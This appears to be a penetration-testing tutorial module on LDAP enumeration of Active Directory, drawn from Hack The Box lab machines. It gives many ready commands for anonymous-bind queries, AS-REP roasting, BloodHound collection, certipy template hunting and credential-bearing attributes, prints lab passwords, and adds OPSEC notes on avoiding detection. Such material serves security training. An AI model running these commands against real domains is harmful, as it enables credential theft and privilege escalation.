Back to All Modules

LDAP Enumeration

#Overview

Lightweight Directory Access Protocol (LDAP) is the primary protocol for querying and modifying Active Directory. LDAP runs on ports 389 (unencrypted) and 636 (LDAPS, TLS-encrypted). Domain Controllers also expose Global Catalog on ports 3268/3269. LDAP enumeration extracts domain users, groups, computers, organizational structure, password policies, and sometimes plaintext credentials stored in user attributes. Anonymous (null) binds, if enabled, allow unauthenticated access to directory information and are one of the most powerful initial enumeration vectors in AD environments.

#Prerequisites

  • Tools: ldapsearch, windapsearch.py, ldapdomaindump, bloodhound-python, certipy, Impacket (GetADUsers.py, GetNPUsers.py)
  • Access Level: Network access to ports 389/636/3268/3269; credentials optional if anonymous bind enabled
  • Key Attributes to Watch: userPassword, unicodePwd, description, info, comment, cascadeLegacyPwd, sAMAccountName, userPrincipalName

#Detection & Enumeration

#Anonymous LDAP Bind Testing

First, check whether the LDAP server allows unauthenticated queries:

# ldapsearch with anonymous bind (-x) and base DN discovery
ldapsearch -x -H ldap://10.10.10.161:389 -b "dc=htb,dc=local"

# Dump the Root DSE to discover naming contexts and supported capabilities
ldapsearch -x -H ldap://10.10.10.161:389 -s base namingcontexts

# Specific user search via anonymous bind
ldapsearch -x -H ldap://10.10.10.161 -b "dc=htb,dc=local" "(objectClass=user)"

# Check if LDAPS is available (encrypted channel, preferred for stealth)
ldapsearch -x -H ldaps://10.10.10.161:636 -b "dc=htb,dc=local"
BASH

Flag Explanations:

  • -x : Simple authentication (anonymous bind)
  • -H : LDAP URI (ldap://host:port or ldaps://host:port)
  • -b : Base DN (search starting point, e.g., "dc=domain,dc=com")
  • -s base : Search scope (base = single entry, one = one level, sub = subtree)

#windapsearch.py (Comprehensive AD Enumeration)

The primary tool for anonymous LDAP enumeration in HTB walkthroughs:

# User enumeration
./windapsearch.py -d htb.local --dc-ip 10.10.10.161 -U

# Group enumeration
./windapsearch.py -d htb.local --dc-ip 10.10.10.161 -G

# Computer enumeration
./windapsearch.py -d htb.local --dc-ip 10.10.10.161 -C

# Custom filter -- dump ALL objects
./windapsearch.py -d htb.local --dc-ip 10.10.10.161 --custom "objectClass=*"

# Full attribute dump for users (reveals cascadeLegacyPwd, description, info fields)
./windapsearch.py -U --full --dc-ip 10.10.10.182
BASH

Flag Explanations:

  • -d : Domain name
  • --dc-ip : Domain Controller IP
  • -U : Enumerate users (objects with objectCategory=user)
  • -G : Enumerate groups
  • -C : Enumerate computers
  • --custom : Execute custom LDAP filter
  • --full : Return all attributes for each object

#ldapdomaindump (Structured Domain Information)

# Dump domain data into structured files (HTML, JSON, Grep)
ldapdomaindump -u 'htb.local\user' -p pass 10.10.10.161
ldapdomaindump --no-pass -u '' 10.10.10.161  # anonymous

# Outputs include:
# domain_users.json, domain_groups.json, domain_computers.json
# domain_policy.json, domain_trusts.json
BASH

#Impacket Tools for LDAP

# Get AD users via LDAP
impacket-GetADUsers htb.local/ -dc-ip 10.10.10.161 -debug

# With credentials
impacket-GetADUsers domain/user:pass -dc-ip 10.10.10.161 -all

# ASREPRoasting enumeration (checks if Kerberos pre-auth is disabled)
impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -no-pass
impacket-GetNPUsers htb.local/svc-alfresco -dc-ip 10.10.10.161 -no-pass

# With user list
impacket-GetNPUsers htb.local/ -usersfile users.txt -dc-ip 10.10.10.161 -no-pass

# Bulk ASREPRoasting from username list
while read p; do
  impacket-GetNPUsers egotistical-bank.local/"$p" -request -no-pass -dc-ip 10.10.10.175 >> hash.txt
done < unames.txt
BASH

#BloodHound Data Collection (AD Attack Path Mapping)

BloodHound is the premier tool for identifying privilege escalation paths in Active Directory:

# Remote collection with bloodhound-python (Linux, no agent on target)
bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' -d EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175 -c All

# With anonymous bind
bloodhound-python -d htb.local -ns 10.10.10.161 -c All

# On-target collection with SharpHound (Windows)
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ZipFilename output.zip

# Upload SharpHound via Evil-WinRM
# *Evil-WinRM* PS> upload SharpHound.exe
# *Evil-WinRM* PS> .\SharpHound.exe -c All
# *Evil-WinRM* PS> download 20250403120000_BloodHound.zip
BASH

BloodHound collection methods:

  • Group, LocalAdmin, Session, LoggedOn, Trusts, ACL : Standard collection
  • Container, RDP, DCOM, SPNTargets, PSRemote : Extended collection
  • ObjectProps, GPOLocalGroup : Full attribute collection

To analyze: start neo4j (sudo neo4j start), launch BloodHound GUI, and import the ZIP. Key queries:

  • Find Shortest Path to Domain Admins
  • Find Principals with DCSync Rights
  • Find Computers with Unconstrained Delegation
  • Mark User as Owned then "Shortest Path to High Value Targets"

#AD CS (Active Directory Certificate Services) Enumeration

# certipy enumeration for vulnerable certificate templates
certipy find -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222 -vulnerable
certipy find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout -vulnerable

# Look for ESC1-ESC8 vulnerabilities in output:
# ESC1: Enrollee supplies subject, template allows client authentication
# ESC7: User has ManageCA or ManageCertificates rights
BASH

#Key LDAP Attributes to Inspect

Always review these user attributes during enumeration. They frequently contain passwords or sensitive information:

AttributePurposeExample Finding
descriptionFree-text descriptionMay contain passwords
infoAdditional informationsupport user with Ironside47pleasure40Watchful
cascadeLegacyPwdCustom attribute (legacy system)Base64-encoded passwords
commentAdmin commentsMay contain temp passwords
userPasswordLegacy password fieldCleartext passwords
departmentDepartment nameOrganizational mapping
titleJob titleIdentify privileged users
sAMAccountNamePre-Windows 2000 logon nameUsername format
userPrincipalNameModern logon name (email-style)user@domain format
memberOfGroup membershipsPrivilege escalation paths
ms-DS-MachineAccountQuotaDomain-level attributeDefault 10, enables computer addition

#LDAP Search Filter Syntax Quick Reference

# All users
(objectClass=user)

# All groups
(objectClass=group)

# Users with specific attribute
(&(objectClass=user)(description=*admin*))

# All objects (verbose, includes deleted if AD Recycle Bin)
(objectClass=*)

# Deleted objects (AD Recycle Bin enumeration)
(&(isDeleted=TRUE))

# Deleted users only
(&(objectclass=user)(isDeleted=TRUE))

# Specific user by display name
(&(objectclass=user)(DisplayName=TempAdmin))
BASH

#LDAPS vs LDAP

  • LDAP (389) : Cleartext. Credentials and data are visible on the wire unless Kerberos signing/sealing is used.
  • LDAPS (636) : TLS-wrapped LDAP. Encrypted channel, credentials protected.
  • Global Catalog (3268/3269) : Contains a partial replica of every domain in a multi-domain forest. Useful for forest-wide queries.

#Critical ldapsearch Filters

# Essential ldapsearch filters for AD enumeration

# Enabled users only (exclude disabled accounts)
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" '(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' | grep sAMAccountName

# AS-REP roastable users (DONT_REQ_PREAUTH flag set)
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' sAMAccountName

# Kerberoastable users (has SPN set)
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" '(servicePrincipalName=*)' sAMAccountName servicePrincipalName

# Domain Admins members
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" '(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local)' sAMAccountName

# All computer objects
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" '(objectCategory=computer)' name operatingSystem dn

# Users with never-set passwords
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" '(&(objectClass=user)(pwdLastSet=0))' sAMAccountName
BASH

#LDAP Pagination and Authentication

# Pagination for large AD environments (avoid size limit errors)
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" -E pr=1000 '(objectClass=user)' sAMAccountName
# -E pr=1000: paged results, 1000 entries per page
# Alternative: -z 1000 (size limit per query)

# Authenticated ldapsearch queries
ldapsearch -x -H ldap://10.10.10.10 -D "CN=user,CN=Users,DC=domain,DC=local" -w 'password' -b "DC=domain,DC=local" '(objectClass=user)' sAMAccountName
# -D: bind DN (distinguished name of the user)
# -w: password for the bind user
BASH

#AD Recycle Bin Deep Query

# AD Recycle Bin -- complete query with all useful attributes
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" '(isDeleted=TRUE)' cn distinguishedName lastKnownParent sAMAccountName objectClass whenChanged
# lastKnownParent shows where the deleted object was before deletion
# Combine with: Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties *
BASH

#Common Pitfalls

  • Not constructing the correct Base DN. The format is derived from the domain name: htb.local becomes dc=htb,dc=local. Multi-part domains like authority.htb.corp become dc=authority,dc=htb,dc=corp.
  • Assuming anonymous bind is always disabled. Many AD environments have it enabled, and it is a critical check that should never be skipped.
  • Missing custom LDAP attributes. Standard tools may not show non-default attributes like cascadeLegacyPwd or info. Always use --full with windapsearch or request all attributes in ldapsearch.
  • windapsearch.py requires the python-ldap library. Install with pip install python-ldap before use.
  • BloodHound data collection requires a running neo4j database. Start with sudo neo4j start before launching the BloodHound GUI.
  • certipy find requires domain credentials. It does not work with anonymous binds.
  • Clock skew errors when using certipy auth against DC. Sync with sudo ntpdate -s domain.htb.

#OPSEC Considerations

  • LDAP queries generate Windows Event ID 4662 (Directory Service Access). A large number of queries from an unprivileged source is a red flag.
  • Anonymous LDAP binds are logged and flagged by most SIEM solutions as "anomalous LDAP activity."
  • Windapsearch and similar tools perform many sequential LDAP queries and are easily signatured by EDR products.
  • BloodHound/SharpHound data collection is well-known to defenders. SharpHound collection methods (ACL, Session, LoggedOn) generate significant LDAP traffic and may trigger alerts.
  • ASREPRoasting requests generate Windows Event ID 4768 (Kerberos TGT request) with encryption type 0x17 (RC4). Multiple such requests from an unauthenticated source are a strong indicator of attack.
  • LDAPS (636) is preferred over LDAP (389) when credentials are used, as it prevents credential interception. However, the server-side logs are the same.
  • Timing-based correlation applies: performing all LDAP enumeration tasks simultaneously (anon bind, windapsearch, bloodhound, ASREPRoast) creates a dense cluster of events that is easy to detect.

#Post-Exploitation Value

  • User lists extracted from LDAP enable password spraying, ASREPRoasting, and Kerberoasting attacks.
  • Group memberships reveal privilege escalation paths (Account Operators, Exchange Windows Permissions, AD Recycle Bin).
  • Custom attributes (info, description, cascadeLegacyPwd) frequently contain credentials that lead directly to foothold or privilege escalation.
  • BloodHound analysis reveals attack paths to Domain Admins, DCSync rights, and constrained delegation targets.
  • AD CS template enumeration identifies ESC1-ESC8 misconfigurations for privilege escalation.
  • AD Recycle Bin enumeration (deleted objects with isDeleted=TRUE) can reveal credentials from deleted accounts that still have valid passwords.

#Cross-References

#Tool References

ToolDescriptionLink
ldapsearchOpenLDAP command-line LDAP clientBuilt into most Linux distros (apt install ldap-utils)
windapsearch.pyPython LDAP enumeration for ADhttps://github.com/ropnop/windapsearch
ldapdomaindumpActive Directory information dumperhttps://github.com/dirkjanm/ldapdomaindump
bloodhound-pythonPython BloodHound ingestor (remote collection)https://github.com/fox-it/BloodHound.py
SharpHoundC# BloodHound ingestor (on-target collection)https://github.com/BloodHoundAD/BloodHound
certipyAD CS enumeration and exploitationhttps://github.com/ly4k/Certipy
ImpacketASREPRoasting, GetADUsers, secretsdumphttps://github.com/fortra/impacket

#Source Machines

  • Forest (Easy, AD) -- Anonymous LDAP bind enables full domain enumeration; ASREPRoasting svc-alfresco
  • Sauna (Easy, AD) -- Anonymous bind allowed but no objects returned; ASREPRoasting fsmith via username list
  • Cascade (Medium, AD) -- windapsearch reveals cascadeLegacyPwd for r.thompson; AD Recycle Bin reveals TempAdmin password
  • Authority (Medium, AD/Windows) -- LDAP credentials from PWM; certipy finds ESC1-vulnerable CorpVPN template
  • Manager (Medium, AD/Windows) -- RID cycling via SMB pipe; certipy finds ESC7 vulnerability
  • Support (Easy, Windows) -- ldapsearch with credentials from decompiled binary; info attribute on support user contains password